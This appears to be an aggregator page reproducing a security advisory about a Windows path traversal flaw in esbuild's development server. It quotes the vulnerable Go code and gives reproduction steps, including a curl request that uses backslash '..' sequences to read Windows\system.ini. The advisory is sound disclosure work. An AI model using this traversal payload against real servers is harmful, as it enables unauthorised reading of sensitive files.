Technologyglobalverified · 90%

esbuild allows arbitrary file read when running the development server on Windows

When
Where
Global (internet)
Category
cyber_advisory · npm

### Summary The development server contains a path traversal vulnerability on Windows when serving files from `servedir`. Due to the use of `path.Clean()` (which only normalizes forward-slash `/` separators) instead of a Windows-aware path normalization function, it is possible to craft requests using backslashes (`\`) that bypass the intended directory containment logic. An attacker can escape the configured `servedir` root and access arbitrary files on the filesystem. This issue affects Windows environments only. ### Details The request path is sanitized using: ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165 queryPath := path.Clean(req.URL.Path)[1:] ``` However: - `path.Clean()` is POSIX-style and only understands `/` (docs: `https://pkg.go.dev/path#Clean`) - On Windows, `\` is a valid path separator - `path.Clean()` does not treat `\` as a separator Later, the server constructs the absolute path: ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221 absPath := h.fs.Join(h.servedir, queryPath) ``` If `queryPath` contains sequences such as: ``` ..\..\..\..\..\..\..\Windows\system.ini ``` `path.Clean()` will not normalize them, but the Windows filesystem will interpret `\` as directory separators when resolving `absPath`. Because the implementation does not verify that the final resolved path remains within `servedir`, it allows directory traversal outside the intended root directory. ### Vulnerable Code ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165 queryPath := path.Clean(req.URL.Path)[1:] .... // Check for a file in the "servedir" directory if h.servedir != "" && kind != fs.FileEntry { absPath := h.fs.Join(h.servedir, queryPath) if absDir := h.fs.Dir(absPath); absDir != absPath { if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil { if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry { .... ``` ### Steps to reproduce ``` npm install --save-exact --save-dev esbuild echo "console.log(1)" > app.js .\node_modules\.bin\esbuild --version 0.27.3 .\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini" <content of Windows\system.ini> ``` ### Impact - Arbitrary file read on Windows - Exposure of sensitive files

Involved actors & entities

People, organizations and places machine-extracted from the source reporting — they power search and the correlation graph. Extracted automatically, so they can include noise, especially on events still marked unverified.

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

No correlated events found in the current window. As more events arrive, connections form automatically.

← Back to the live map